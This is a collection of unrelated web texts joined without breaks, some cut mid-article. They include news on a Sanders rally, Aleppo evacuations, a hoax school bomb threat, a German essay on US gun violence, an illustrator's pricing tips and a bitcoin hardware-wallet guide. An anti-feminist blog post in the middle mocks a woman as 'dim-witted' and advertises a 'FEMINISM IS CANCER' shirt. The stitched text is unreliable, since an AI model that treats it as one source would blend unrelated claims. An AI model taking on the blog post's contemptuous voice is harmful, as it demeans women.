Campus officials said last week that they had been contacted by members of the Sanders campaign, who later decided not to come when they learned about the availability of outdoor venues.
Then, a few days ago, they struck up the conversation with CU again.
"We were contacted over the weekend and asked again if we would host the event, so we were able to find Potts Field to accommodate this event," campus spokesman Ryan Huff said Wednesday.
Potts Field can accommodate up to 10,000 people, though it's unclear how many tickets will be made available for the event.
A spokesman for Sanders' campaign did not respond to interview requests from the Daily Camera on Wednesday.
Members of the CU Police Department will provide security, along with some other agencies in the region, Huff said.
News of Sanders' visit prompted chatter on social media, especially among CU students, who this month called on the organizers of the upcoming Republican debate to make more tickets available. Currently, 100 tickets are available to the CU community.
Spencer Biro, communications director for the student group Buffs for Bernie, said he believes the Democratic candidate can capitalize on some of that political activism.
"This is a great stop for Bernie, especially considering he's going to be here right before the Republican debate," said Biro, a junior studying computer science. "The debate has upset a lot of people here, and there's a whole lot of anger on campus toward that and a will for more political involvement at CU."
Though the College Democrats student group doesn't endorse candidates, members are still excited that Sanders is stopping in Boulder so early.
"We think it's really important that people come and listen to college students and get the feel for where young Democrats are going, because I think young Dems are kind of the life of the party," said Allina Robertson, a graduate student involved with the group. "We've got lots to say and we're just excited that people are listening."
The early campaign visit also confirms the importance of Boulder County for the Democratic caucus and the importance of Colorado for the general election, said Morgan Young, vice chair of the Boulder County Democratic Party.
Young said Sanders is "extremely popular" with a large segment of the local Democratic population, adding that he believes people who are "just starting to engage in the political process" also are likely to show up on Saturday. He he also expects to see a lot of young people and independents.
Young said while it's true that Boulder County leans heavily to the left, candidates still need to inspire local voters to turn out on Election Day.
"What this shows is people don't take Boulder County for granted," he said. "It's not just, 'OK, here's a Democratic vote.' It's about turnout and it's about excitement."
Sarah Kuta: 303-473-1106, kutas@dailycamera.com or twitter.com/sarahkutaI was walking near my house earlier this afternoon, in the throbbing metropolis of Bedford, when a young woman (in her 20s, I think) pushing a child in a buggy, crossed the road (forcing a car to stop in the process) and wagged her finger at me, whilst wearing a hatchet-faced expression which should have immediately told me she was a feminist. She came up to me and explained that she objected to the text on my polo shirt:
This is what an anti-feminist looks like
It’s one of the top-selling items in the J4MB summer shirt collection, here. She explained that she had been on a Gender Studies course, feminism is about gender equality, and I was clearly in need of a female ‘love bomb’, whatever that might be. She owns a T-shirt bearing the text, ‘This is what a feminist looks like’, presumably the one sold by the Fawcett Flossies. The ensuing conversation was as pointless as you’d expect. It was (predictably) like trying to debate with a particularly dim-witted child, as efforts to debate with feminists invariably are. I don’t know why I bothered.
I seek to wear such shirts at least four days a week, and they’ve resulted in some interesting conversations, as well as having the added benefit of annoying feminists. We have it on our ‘To do’ list to add two new shirt designs, “Men’s rights are human rights” and “FEMINISM IS CANCER”. Let me know if you’d like to order the designs, and we’ll put them up within 24 hours.
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TwitterAnd though it's not officially official, "We're supposed to start writing it Monday, so if my deal doesn't close, a different kind of history is going to be made," Harmon jokes.
With season five's start date just around the corner, Harmon admits to us he has yet to watch season four, which was overseen by Happy Endings writers David Guarascio and Moses Port, but is planning to binge-watch it.
"I am going to watch it I think when I get back on Sunday. I'm just going to sit by myself, pop some popcorn and watch it," he says. "I'm not going to be a jerk about it. I know there were some great writers working on that show who bled with me for seasons one, two and three…the worst thing I can do is fart in their direction at all."SA plan for formal Indigenous recognition
Updated
The South Australian Government says it wants to formally recognise Aboriginal people in the constitution.
Premier Jay Weatherill plans to establish an advisory panel to consider how best to give formal recognition to the Indigenous community.
"How a community feels about itself, how they feel the broader community responds to them, is an essential part of wellbeing," he said.
"We know that for many Aboriginal people they've felt like they've been treated as second-class citizens in their own country.
"This will elevate them to their rightful place as first Australians and pays them proper respect."
The Premier's announcement coincides with Reconciliation Week.
SA's Commissioner for Aboriginal Engagement Khatija Thomas welcomed the plan.
"We have asked for respect. This announcement gives us hope that all South Australians will recognise Aboriginal culture and history has been, and is, a fundamental part of the South Australian story," he said.
Topics: states-and-territories, indigenous-policy, federal---state-issues, government-and-politics, aboriginal, indigenous-aboriginal-and-torres-strait-islander, community-and-society, laws, sa, adelaide-5000, port-augusta-5700, port-pirie-5540, port-lincoln-5606, renmark-5341
First postedProlog
Ich wurde gebeten, einen Essay darüber zu schreiben, was bei der US-Wahl im November auf dem Spiel steht, wenn es um das Thema Waffengewalt geht. Die Frage brachte mich aus dem Konzept, denn die Antwort schien mir so erstaunlich offensichtlich: alles.
Unsere Wirklichkeit
Ich war emotional einfach nicht in der Lage, mir ein Video des Begräbnisses des sechs Jahre alten Jacob Hall anzusehen. Die Trauernden waren als Superhelden verkleidet, denn Jacob liebte Superhelden. Er wurde am 28. September erschossen, als er vor der Grundschule in Townville, South Carolina, spielte.
Der 14-Jährige, der Jacob ermordete, war Jesse Osborne. Er wachte an diesem Tag auf und erschoss zuerst seinen Vater, der zuvor bereits mehrfach für häusliche Gewalt verurteilt worden war. Danach ging Jesse zu seiner früheren Schule, an der er ein Vorzeigeschüler gewesen war. Er schoss auf Jacob, einen weiteren Schüler und eine Lehrerin.
Zeugen berichteten, dass Jesse immer wieder in die Luft schoss und schrie: "Ich hasse meine Leben!" Ein Jahr davor war er von seiner Mittelschule geworfen worden, weil er einen anderen Schüler mit einer Axt angegriffen hatte. Trotzdem verschafften ihm seine Eltern ohne Weiteres Waffen. In einem Facebook-Post vom Dezember 2015 sieht man, wie Jesse bei einem Familientreffen eine halbautomatische Waffe hält. Seine Mutter kommentierte den Post und prahlte damit, dass Jesse bereits eine andere Pistole und Rauchgranaten bekommen hatte.
Die Grundschule von Townville hatte erst eine Woche zuvor eine Sicherheitsübung für den Fall eines Amoklaufs abgehalten.
Mein Schwur
Seit 16 Jahren arbeite ich ehrenamtlich und hauptberuflich dafür, Waffengewalt zu verhindern. Dazu gebracht hat mich der Amoklauf in Long Island 1993. Ich bin dort aufgewachsen, und die Tat war für die Gemeinde verheerend.
Ladd Everitt Ladd Everitt setzt sich seit Jahren gegen Waffengewalt in den USA ein. Er war zehn Jahre lang Sprecher der "Coalition to Stop Gun Violence". Heute ist er Direktor der Organisation "One Pulse for America", die für eine Verschärfung der Waffengesetze kämpft.
Wirklich jeden Tag lese ich von grotesken und unvorstellbaren Tragödien, die durch Waffengewalt entstehen. Heute sind viele meiner besten Freunde Menschen, die überlebt haben, während ihre Geliebten erschossen wurden. Der Schmerz, mit dem sie leben müssen, lässt sich nicht in Worten ausdrücken.
Ich will nicht in einem Amerika leben, in dem wir Kinder begraben müssen, die vorsätzlich von anderen Kindern erschossen wurden.
Ich will keine verkommene Waffenkultur tolerieren, die Menschen in Krisensituationen Waffen so einfach zugänglich macht wie im Fall von Jesse Osborne.
Ich habe genug davon.
We the People We the People We the People – Wir, das Volk... Mit diesen Worten beginnt die amerikanische Verfassung, die den Vereinigten Staaten unter anderem aufgibt, Gerechtigkeit zu verwirklichen und das Glück der Freiheit zu bewahren. Diese Serie zur US-Präsidentschaftswahl trägt diesen Titel, weil hier Autoren aus ganz unterschiedlichen gesellschaftlichen Gruppen der USA erklären, was aus ihrer Sicht auf dem Spiel steht, wenn die Amerikaner am 8. November einen neuen Präsidenten oder eine Präsidentin wählen. Es geht in dieser Serie nicht um die schmutzigen Schlachten des Wahlkampfs, die Fehltritte der Kandidaten, die Umfragewerte oder den täglichen Wahnsinn der politischen Debatten. Sondern um das, was das in der Verfassung aufgerufene amerikanische Volk von der Zukunft erwartet – und damit von dieser Wahl. Die Teile der Serie Alle Folgen der Serie finden Sie auf dieser Seite.
Die Kandidaten
Wenn es darum geht, eine Reform der Waffengesetze zu unterstützen, ist der Unterschied zwischen dem republikanischen Kandidaten Donald Trump und der demokratischen Kandidatin Hillary Clinton gewaltig – eine Schlucht klafft zwischen ihren Ansichten. Clinton hat einen umfassenden Plan, um unsere Waffengesetze zu reformieren und Leben zu retten. Für folgende Maßnahmen will sie als Präsidentin werben und sie unterstützen:
Generelle background checks aller Waffenkäufer, also die Überprüfung, ob sie etwa vorbestraft sind oder an schweren psychischen Erkrankungen leiden: Bisher sind die Regelungen nicht einheitlich, und es gibt Ausnahmen.
Schließung einer Gesetzeslücke (Charleston Loophole), die es möglich macht, einen Waffenverkauf dennoch abzuschließen, wenn das Ergebnis der Sicherheitsüberprüfung nach drei Werktagen noch nicht vorliegt: Der Amokläufer von Charleston, Dylann Roof, hatte seine Waffe so bekommen.
Ein Gesetz aufheben, das der Waffenindustrie Immunität gibt: Der Protection of Lawful Commerce in Arms Act verhindert in den meisten Fällen, dass gegen Hersteller, Händler und Verkäufer wegen der Verletzung von Sorgfaltspflichten geklagt wird.
"Schwarzen Schafen" unter den Waffenhändlern soll die Lizenz zum Verkauf entzogen werden. Laut einer Studie ist nur gut ein Prozent der staatlich lizenzierten Waffenhändler für 60 Prozent aller Verbrechen mit Waffengewalt in den USA verantwortlich.
Wer häusliche Gewalt ausübt, ein gewalttätiger Krimineller und schwer psychisch krank ist, soll keine Waffe bekommen können.
Als Strohmann Waffen für andere zu besorgen, denen dies verboten ist, soll unter Strafe gestellt werden.
Das Verbot von Sturmgewehren soll erneuert werden.
Trump auf der anderen Seite ist dagegen, dass Sicherheitsprüfungen ausgeweitet werden – also gegen eine Reform, die von etwa 90 Prozent der Amerikaner unterstützt wird. Die einzige Reform, die er sich vorstellen kann, ist ein nutzloser Gesetzentwurf der Waffenlobby NRA (Terror Gap Bill). Danach müssten die Behörden beweisen, dass ein Terroranschlag unmittelbar bevorsteht, um zu verhindern, dass eine Waffe an einen mutmaßlichen Terroristen verkauft wird. An diesem Punkt könnte man einen Terroristen auch gleich verhaften.+1 1 9K Shares
A number of Navy Special Warfare forces were punished for flying a Trump flag on a military convoy, according to the Courier Journal.
A motorist saw a military convoy flying the flag along Interstate 65 in Louisville, Kentucky, last month. Photos of the scene went viral online.
Members of the military are not permitted to endorse a campaign, political candidate or cause while in uniform or while conducting official military duties. The vehicles carrying the Trump flag were unmarked.
An inquiry by the unit’s commander determined the Navy Special Warfare service members “violated the spirit and intent of applicable DoD regulations concerning the flying of flags and the apparent endorsement of political activities,” said Lt. Jacqui Maxwell, of the Naval Special Warfare Group in Virginia Beach, Virginia.
“Administrative corrective measures” were taken with each individual, she said. Maxwell declined to say what the punishments were for the individuals.
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[revad2]Apple’s new campus in Cupertino, California, which looks like a spaceship from above, is nearing completion, and most of the ring-shaped main structure and buildings have been finished.
Apple has been providing drone updates of the location during the construction period, letting us keep an eye on the progress, and now SkyIMD has created a neat high-resolution aerial mosaic that gives an incredibly detailed overall view of the nearly-finished campus.
Duncan Sinfield, who has been sharing Apple Campus 2 drone videos with MacRumors for several months, has uploaded an updated video captured on Christmas morning in 2016, that shows the progress Apple has made on landscaping in recent weeks.
Apple plans to have the campus finished by the beginning of the year, with employees moving in during the first quarter, but landscape work wouldn’t be finished until the middle of the year.
Follow us on Twitter to stay updated: @compgeek_0 911 call released in Seminole County school bomb threats
SEMINOLE COUNTY, Fla. - Investigators have released a hoax 911 call made Friday afternoon that forced the evacuations of several Seminole County public schools.
The FBI and Florida Department of Law Enforcement are still trying to track down the person responsible for a bomb threat that forced the schools to be evacuated.
The threats forced hundreds of elementary school students out into rainstorm Friday.
"Listen very closely," the caller told a 911 dispatcher. "We placed three bombs (inaudible) -- Winter Springs Elementary, Casselberry Elementary, Oviedo Elementary."
Because there is not such school as Oviedo Elementary, officials evacuated several other schools in the Oviedo area.
"There's three bombs and one is at each of the schools," the caller stated.
Detectives released the recording in hopes that someone will be able to recognize the caller's voice.
"We'll call you back with our demands," the caller said. But he did not call again. (listen to the call)
"I rushed home. It was raining, I was hysterical," parent Faith Clark, talking to Channel 9's Tim Barber about Friday.
Clark was one of the parents who scrambled to pick up children after someone called in a bomb threat to three schools, forcing deputies to evacuate several others.
"It was pouring down rain and these little tiny kids, kids in wheel chairs, babies are walking down Maitland Avenue -- that's a highway," said Clark."I was angry, because who would do that to little children? I mean, I was angry."
Investigators said whoever is responsible for the call faces charges of misuse of 911 and false report of a bomb, a felony charge that could mean a prison sentence of up to 15 years and a $10,000 fine.
The incident drained law enforcement resources as deputies and officers searched several schools across the district to make sure there was no threat.
"If you have more than one school, or even one school, we want to make sure that whoever does this gets the message that this is something that you don't play with or toy with," said WFTV legal analyst and former 9th Judicial Circuit Chief Judge Belvin Perry.
Fines could include the costs associated with the school evacuations. Investigators did not have an estimate on what Friday's incident cost, but Barber learned that when Lake Mary High School was evacuated last spring as the result of a shooting hoax, it cost more than $5,000.
Perry said he believes the punishment for whoever made the 911 call on Friday will be severe.
"Good, that's what they get," Clark said.
Agencies are offering a $10,000 reward for any information that leads to the arrest of the caller."Taste and see that the TEAM is good; blessed is the man who takes refuge in it" - Harbs 34:8
Disciples of the Baltimore Ravens, we have basked in the glory of true football. We have witnessed greatness. We have been to the top of the mountain. Yet, there are still so many less fortunate souls who have not seen the light. They are trapped in a cycle of poor performance, management - or worse - no specific geographic allegiance whatsoever.
It is our duty to spread the gospel of Baltimore Ravens football. Take it upon yourselves to enlighten those who are without team or purpose.
I have provided a pamphlet that shall make it easier to communicate the benefits of our community to those who are in need.
May the football Gods grant you good fortune on your journey.Liberty Park is pushing ahead towards its summer opening. View Full Caption Port Authority
FINANCIAL DISTRICT — A leafy oasis is budding at the World Trade Center complex, 25 feet in the air.
Work on Liberty Park — an acre of greenery, pathways and benches, built atop an entrance to a vehicle security center — is pushing ahead towards it summer opening, the Port Authority said.
Park Level Spring Planting Continues at Liberty Park pic.twitter.com/3SafsfSbnt — WTCProgress (@WTCProgress) May 10, 2016
The park, which overlooks the 9/11 Memorial Plaza, will be home to scores of plants. More than 50 trees will dot the landscape, including a sapling descended from Anne Frank's white Horse Chestnut Tree planted earlier this week.
WTC Liberty Park landscapers transport and plant sapling of the infamous Anne Frank Horse Chestnut Tree pic.twitter.com/VZXpeedfED — WTCProgress (@WTCProgress) May 16, 2016
The special tree grew from a chestnut from the original chestnut tree that sat outside the window of the secret annex where Frank hid for two years from the Nazis in the Netherlands. Eleven other chestnut tree saplings have been planted throughout the U.S. in select locations, including the Holocaust Memorial Center and Little Rock Central High School.
"As the saplings take root, they will emerge as living monuments to Anne’s pursuit of peace and tolerance," the Sapling Project says on its website. "In the process, they will serve as powerful reminders of the horrors borne by hate and bigotry and the need for collective action in the face of injustice.'
Greenery will also cover the 25-foot-high, 300-foot-long "Living Wall" which runs along the base of the park.
The Living Wall at WTC Liberty Park pic.twitter.com/WyxWdZOizK — WTCProgress (@WTCProgress) May 13, 2016
In addition, construction projects are continuing in the park. The verdant refuge will also be home to the St. Nicholas National Shrine, a new Santiago Calatrava-designed reincarnation of St. Nicholas Church, a longtime Greek Orthodox Church that was destroyed on Sept. 11. Calatrava also designed the WTC Transportation Hub.
Rendering of Liberty Park with St. Nicholas National Shrine. (Courtesy of Santiago Calatrava Architects)
The team working on Liberty Park must create a fence around the church site, as St. Nicholas continues construction, likely until 2017.
Work also continues on an elevated walkway from Battery Park City, over the West Side Highway, that would connect to Liberty Park. A Port Authority spokesman said Brookfield Place is in the process of finishing the overpass, which will be a main access point for the park.
Here's another look at what people might be walking through this summer:
Rendering courtesy of the Port Authority.
The Port Authority declined to comment on an exact opening date.A call to unite those affected by President Donald Trump’s rhetoric on immigration and deportation policies drew a sea of people to downtown Los Angeles on Monday for a diverse May Day march and rally.
Dubbed Resist Los Angeles, the march was one of the largest May 1 events in the nation, with organizers saying 30,000 people gathered at MacArthur Park and marched 21/2 miles through closed streets to City Hall downtown.
Participants from a network of 100 labor and civic groups hoisted signs and banners, as well as a giant American flag, to speak in favor of workers’ rights and better wages, as well as against Trump’s proposed border wall, his hard stance on illegal immigration and his policies that temporarily ban refugees from some Middle Eastern countries.
• RELATED PHOTOS: May Day protesters march toward downtown LA Civic Center, where Trump supporters are waiting
Marvin Ortiz, a member of Progesso Legal Group, told the crowd through a megaphone that the march should be peaceful and should show the country that immigrants, legal or not, should be grateful to the United States for many opportunities. But it was important, he added, to speak for the voiceless.
“We respect this flag, this country,” Ortiz said to applause. “We respect this president. He’s our president. But we’re here to give voice to those who have none. Those who unfairly sit in detention centers, those who pick tomatoes, lettuce, in jobs no one else will do.”
Signs that read “Build bridges not walls” and “No more family separation” were lifted in the air as hundreds of people shouted “Si se puede! (Yes we can!),” a chant associated with the labor union formed by Cesar Chavez.
This year’s march drew members from the Los Angeles Black Workers Center, the Korean Resource Center, the Writer’s Guild of America, unions that represents nurses, clergy from several faiths and the LGBTQ community among many other groups that said Trump’s rhetoric seemed to affect them all.
“He brought us together,” said Ari Gutierrez, board president for the Latino Equality Alliance, an organization that serves the LGBT Latino community. “We have to work together to show solidarity.”
• MAP: See and print the full map of today’s May Day marches and rallies
Just before the march began, Tom Morello from the group Rage Against the Machine stood on a platform with his acoustic guitar and said he was a proud member of the local musician’s union before leading the crowd into “This Land Is Your Land.”
“This is a worker’s song! This is an immigrant’s song!” he said. “This is a reminder to you and anybody who would hold us down that this land is your land!”
Unlike past May Day marches, there was more urgency in the message behind this year’s gathering, some said.
Since Trump stepped into the White House in January, similar rallies in Los Angeles and in cities across the nation have been held by demonstrators on behalf of immigrants, women, science, climate change and to demand the president release his tax returns |
that in their opinion whoever won back then life today would be the same. Forty-three percent could not answer the question.
It should be noted, however, that when Levada pollsters asked those surveyed if they remembered what happened in August 1991, only 50 percent said they recall that it was a failed coup. Two percent said they remembered something else and 48 percent of Russians said that they did not remember anything particular happening at that time.
READ MORE: Russians see 1991 coup as national tragedy, but like subsequent developments
The events that took place in late August 1991 are usually referred to in Russian mass media as the ‘failed Soviet coup’ or ‘Putsch’. Back then several members of the Soviet leadership, including the defense minister and the head of the KGB, tried to disrupt the signing of a new union treaty between the country’s constituent republics. They isolated then-President Mikhail Gorbachev in his residence in Crimea and created the State Emergency Committee (GKChP). The coup failed after three days of resistance organized by the leadership of the main republic, Russia, headed by then-President of the Russian Federative Republic Boris Yeltsin.
On August 23, the Communist Party was banned from operating on Russian territory. The Russian Federation took over the institutions of the union state, as the USSR broke into independent republics under a treaty signed by the leaders of Russia, Ukraine and Belarus, and another 12 constituent republics soon also chose to become independent.
In 2005, Vladimir Putin called the collapse of the USSR the greatest geopolitical disaster of the century. The Russian leader has repeated this thesis several times since, and in 2015 explained that he was speaking of the humanitarian consequences to the common people.Putin noted in a public speech that after the crash of the Soviet system 25 million ethnic Russians found themselves living in foreign countries which made the Russian people became the largest divided people in the world.
However, Putin acknowledged that the primary reason behind the collapse of the USSR was the great amount of internal contradictions and general failure of its economic and political systems.The S.League will welcome its first high-profile name from the English Premier League next year with the ex-Rovers boss
Steve Kean, who led Blackburn Rovers in a tumultous two-year period is set to be S.League club Brunei DPMM's Head Coach for the 2014 season according to news confirmed on the club's official website.Kean left Rovers in September last year, stating he had been forced to resign, with the club in third place in the Football League Championship.A former first team coach, he was installed as caretaker manager with Rovers following Sam Allardyce's sacking in December 2010 and was given the role permanently a month later, but was unable to prevent the Lancashire club from being relegated the following season.Kean stayed on despite heavy pressure and criticism from fans, before leaving his post at the start of the 2012/2013 season.The Glasgow native had previously expressed interest in coaching in Asia in an interview with Sky Sports in July.
"I'm open-minded enough to consider all areas of the world whether it's Asia, the UK or Europe," he told skysports.com.
"I have been in Europe and the UK but I've never coached or managed in Asia, although it's something I would certainly consider. I have no preference really. I'm just to open any good offers."
Kean will be replacing Croatian Vejran Simunic who annouced his departure from the 2013 S.League League Cup runners-up earlier this month.Simunic led DPMM to a second-place finish in the 2012 S.League season and won the League Cup as well but failed to replicate the success this year, with DPMM slated to finish in the bottom-half of the S.League.DPMM have also confirmed that Brazilian midfielder Rodrigo Tosi will be retained, with the club in the hunt for a big-name marquee signing.The Bruneian club will also be involved in a Participation Agreement Renewal Signing Ceremony with the Football Association of Singapore (FAS) on Tuesday morning at the Jalan Besar Stadium. The ceremony will be graced by FAS President Mr Zainudin Nordin, Mr Lim Chin, CEO, S.League, Deputy Chairman of DPMM FC, YAM Pengiran Maharaja Setia Laila Diraja Sahibul Irshad Pengiran Anak Haji Abdul Rahim bin Pengiran Indera Mahkota Pengiran Anak (Dr) Kemaludin Al-Haj, and Mr Mohd Ali Haji Momin, Team Manager, DPMM FC.The S.League is currently four rounds away from concluding the 2013 season. Tampines Rovers have a 12-point lead and are on course to retain their title. The 2014 S.League season is expected to begin in mid-February.Okay, so I’m spending today preparing a talk for a college class on HOW TO NOT STARVE TO DEATH as a freelance illustrator, and I’m feeling to need to make a post about contracts and payment for you, dear tumblr. The following pointers are my opinions from ~3 years of freelance illustration and self publishing comics. They do not reflect the experience of every illustrator or artist.
How Much Do You Charge?
So, the biggest question in freelancing, after “How do I find jobs” is “How do I price my work?” Generally I price my work by determining an hourly rate, estimating how many hours it will take me to complete the project, and multiplying the rate by that estimate. I also write a detailed contract that protects me from a groundhog day of edits and misery, which I will talk about later. Hourly Rate X Estimated time + Materials
Things to consider when Determining What Hourly Rate To Charge: Charge different rates depending on what you can and can’t do with what you make under the contract. The following list is how I define copyright terms, and these terms vary from contract to contract:
Non-Exclusive with time limit: You hold the rights and license rights to client under time limit and limitations
You hold the rights and license rights to client under time limit and limitations Perpetual Non-Exclusive: You own the rights and license rights to client without a time limit.
You own the rights and license rights to client without a time limit. Mutual Exclusive Rights: You own rights to what you make, and license rights to the client and only that client. You and the client can both do what you please with the work so long as you don’t sell rights to anyone else.
You own rights to what you make, and license rights to the client and only that client. You and the client can both do what you please with the work so long as you don’t sell rights to anyone else. Work for Hire: Rights and licenses belong to the client and not you. Work for hire is a red flag because it means you will have NO OWNERSHIP of what you make under the contract and the client can do whatever they like with it without your input. If you have to do this, charge as much as you can.
It is also perfectly acceptable to consider how much money your client will be making off of your work when determining your hourly rate. In a perfect world we all get paid well and fairly no matter who we work for. Unfortunately sometimes it’s smart to take into account what your client is getting out of this financially, and what they can afford to pay. I have different rates for non-profits than I do for corporations. If someone is making a lot of money off of my work I feel that should apply to me too. If I’m doing a drawing for a volunteer run organization I believe strongly in I am inclined to offer them a lower rate. It’s also okay to consider how much of a pain in the ass a project is going to be when pricing. If you don’t want to do a job unless it pays enough to make it worth it, don’t do that job unless it pays enough to make it worth it.
Some Contract Tips
First of all, ALWAYS USE A CONTRACT. Not only does it protect you from being taken advantage of, but it is a clear written document that outlines what both parties expect from each other.
Be Very Detailed in Your Work Description: Describe exactly what you are creating for the client, including what you are not responsible for. Most people who hire you for art think what you are really doing is BLACK MAGIC. They have little comprehension of how much time it takes to do what you are doing, or the stages of doing it. Make a very specific timeline. Break it down into small increments, including when you expect to receive feedback from the client. Break down every part of what you are creating. How many images? Will they be in black and white or color? What size will they be? What file format will digital files be sent in? Is original art included in the contract? I could go on and on.
Be very Detailed in Your Copyright Agreement: Make sure your contract is very specific about rights and who can do what. You can customize the specific needs of the job.
Third parties: Can you sell the design to third parties? Can your client sell the design to third parties?
Can you sell the design to third parties? Can your client sell the design to third parties? Portfolio use: Even if the client owns rights to the work, can you use it in your portfolio, website, and social media?
Even if the client owns rights to the work, can you use it in your portfolio, website, and social media? Can you use it later? If your contract is non-exclusive, define exactly what that means. What can each party do with the work? Is there a certain amount of time that must pass before you can do something with the work. Many publishers want “First printing rights” but allow you to regain rights to the work after a set amount of time.
Limit Your Number of Edits and Revisions, so that you don’t end up in revision hell. Include a fee system for extra edits and revisions beyond the contract. Make sure to define edits and revisions. I define them as follows:
Edits: Small changes such as changing wording in a sentence slightly, or changing a color of a font.
Revisions: Large changes such as a re-write on a script, or an panel being re-drawn.
Some people Say Get Paid Half up Front. Sometimes I do this and sometimes I don’t. @erinkwilson made a really a great comic about it though.
Also of note, this is not everything you need to know. It is a few pointers that I have stumbled over and learned from over time. I highly recommend checking out the Graphic Artist’s Guild Handbook of Pricing and Ethical Guidelines.Want to invest in bitcoin but don’t want to trust the security of your coins to a third party? You need to set up your own personal bitcoin vault! Follow the steps in this guide to get started. If you need one-on-one assistance with the process, I am available for private consulting.
Step 1. Buy a hardware wallet
Hardware wallets are devices that keep your bitcoin private keys permanently offline. Private keys are the files that are needed to sign bitcoin transactions and authorize transfers to other bitcoin addresses. If your private keys are stored on a computer that is “online” – that is, connected to the internet – then there is a risk that the private keys could be compromised by a remote hacker via malware that you unintentionally installed on your computer.
By storing private keys permanently offline, hardware wallets limit your risk to physical security threats. This means that a thief would have to have physical access to the hardware wallet in order to even have a chance at stealing your bitcoin. As we will see later in this guide, even physical access will not be enough for a thief to steal your bitcoin if it is properly stored in a hardware wallet.
Hardware wallet options that I can recommend based on first- or second-hand experience:
Ledger Nano S
Trezor
KeepKey
Step 2. Set up your hardware wallet
After you have received your hardware wallet, you will need to set it up. Steps vary depending on which hardware wallet you have purchased; step-by-step instructions are included with each device. Generally, these steps will include downloading the local app that is used to manage your hardware wallet, writing down your hardware wallet’s backup phrase, and adding a PIN to protect against thieves who gain physical access to your hardware wallet.
Step 3. Protect your backup phrase
The backup phrase that is generated when you first setup the wallet is essential to protect in case anything happens to the hardware wallet itself, such as loss, theft, or breakage. This backup phrase will consist of 12 or 24 words that you’ll need to recover your wallet if anything happens to it.
The easiest way to protect this backup phrase is to write it down. But then you have to think about how to protect this written copy – if anyone gains access to it, they’ll be able to recover your wallet just as easily as you could and move your bitcoin to their own address. So you need to treat your backup phrase just as sensitively as you would physical cash, jewelry, precious metals, social security cards, and other valuables.
Let’s say, for example, that your hardware wallet backup phrase is 24 words. You could protect this backup phrase a few different ways, depending on your risk tolerance:
You could write down all 24 words in one place and put them in a safe with other valuables.
You could write 12 of the words down on one piece of paper and keep it in your safe, and write the other 12 words down on another piece of paper and store that piece of paper in a separate location, such as a safety deposit box. Then, you (and any prospective thieves) will need access to both pieces of paper in both separate locations in order to recover the wallet.
In addition to storing 12 of the words in one location and the other 12 words in another location, you could also send one copy of one of the sets of 12 words to one trusted associate and one copy of the other set of 12 words to another trusted associate. These trusted associates could be, for example, a family member and a lawyer. Then, if anything happens to either or both of your own copies of either set of 12 words, you can ask your trusted associates to send you the copies you shared with them. Additionally, if anything happens to you, and your own copies become irrecoverable, you can leave instructions with your lawyer for both of the trusted associates to combine their copies of the words to recover your wallet and execute your will.
If you are storing a lot of value in your hardware wallet, you may consider using a tool like Cryptosteel to ensure that each copy of your backup phrase is protected against fires, floods, and electrical storms.
Step 4. Purchase bitcoin and transfer it to an address generated by your hardware wallet
Choose a service to purchase bitcoin and complete any steps that may be required to initiate your purchase (such as ID verification and adding two-step authentication – you want to make sure you add two-step authentication to all services that offer this). Use the local app that is required to manage your hardware wallet to create a new bitcoin address.
When you are ready to transfer your bitcoin to your hardware wallet, copy+paste the address you generated with your wallet’s local app into the withdrawal window of the service you bought bitcoin from. Double-check that the address you pasted matches the address generated by your hardware wallet, then withdraw the funds. Within a few seconds to a few minutes, you should see the bitcoin appear in your local app.
Options to purchase bitcoin that I can recommend based on first- or second-hand experience:
Gemini – allows you to purchase bitcoin with a bank account in the US. Suitable for advanced traders who understand financial markets.
Kraken – allows you to purchase bitcoin with a bank account in many countries. Suitable for advanced traders who understand financial markets.
Genesis Trading – allows you to purchase bitcoin with a bank account in the US. This service is most useful if you want to buy large blocks of bitcoin ($25,000+) OTC. If you do business with them, tell them John Light sent you.
LocalBitcoins – allows you to purchase bitcoin with a variety of payment methods, including cash or bank transfer, from traders in their marketplace. The quality of each transaction varies depending on the trader you choose to buy from.
Mycelium LocalTrader – allows you to purchase bitcoin with cash from local traders in their marketplace. The quality of each transaction varies depending on the trader you choose to buy from.
CoinATMRadar – this website will help you find a Bitcoin ATM near you where you can buy bitcoin with cash. Bitcoin ATMs often add a steep markup but offer the convenience of being able to buy your bitcoin same day, on the spot.
AdvertisementsImage copyright AFP Image caption State media said buses entered eastern Aleppo mid-Sunday but did not leave for many hours
Evacuations have resumed from east Aleppo, with buses and ambulances leaving rebel areas of the Syrian city.
At least 350 people reportedly left rebel enclaves late on Sunday, heading towards other rebel-held territory.
Among those to have left is seven-year-old Bana Alabed, who had tweeted about conditions in besieged areas of Aleppo.
A separate evacuation of government-controlled parts of Idlib province, besieged by rebels, started early on Monday.
Thousands more are waiting to leave east Aleppo amid dire conditions.
The UN Security Council is said to have agreed a compromise to allow UN monitoring of the operation. Russia earlier rejected a French-drafted plan to send UN officials to east Aleppo as "a disaster".
"We expect to vote unanimously for this text," said US Ambassador to the UN Samantha Power.
The Security Council meeting will start at 09:00 (14:00 GMT) in New York.
Initial efforts to evacuate the last rebel-held enclaves in the city collapsed on Friday, leaving civilians stranded at various points along the route out without access to food or shelter. Bombardment of east Aleppo has left it virtually without medical facilities.
Despite further setbacks on Sunday, buses and ambulances began moving out of the area after nightfall.
"Evacuations are on," the UN official said in an email message to Reuters news agency, adding that the first people left east Aleppo at around 23:00 local time (21:00 GMT).
Media playback is unsupported on your device Media caption Nurses are forced to perform a Caesarean in place of surgeons in Aleppo
Five buses carrying evacuees arrived in rebel-held Khan al-Assal, the AFP news agency said, quoting Ahmad al-Dbis, who heads a team of doctors co-ordinating evacuations to the town.
From Khan al-Assal, the evacuees are expected to travel to parts of Aleppo and Idlib provinces.
In order for the evacuation of east Aleppo to restart, pro-government forces had demanded that people must be allowed to leave the mainly Shia villages of Foah and Kefraya in Idlib province, besieged by rebels.
Syrian state TV and the Syrian Observatory for Human Rights, a UK-based monitoring group, said early on Monday that 10 buses had now left the villages. The Observatory said 500 of the 4,000 villagers had left.
Media playback is unsupported on your device Media caption Buses travelling to Foah and Kefraya were set on fire on Sunday
Earlier on Sunday, armed men set fire to at least five buses that were about to transport the sick and injured from the villages.
Several reports said the Jabhat Fateh al-Sham group, linked to al-Qaeda, was responsible.
But Hezbollah, the Lebanese militant group fighting alongside Syria's government, said the blaze started during fighting between the jihadists and another Islamist rebel group that supported the evacuations.
The jihadist groups have not commented on the attack.
However, the Free Syrian Army, a more moderate rebel faction, condemned it as a "reckless" act that had in turn endangered the lives of thousands of trapped people in eastern Aleppo.
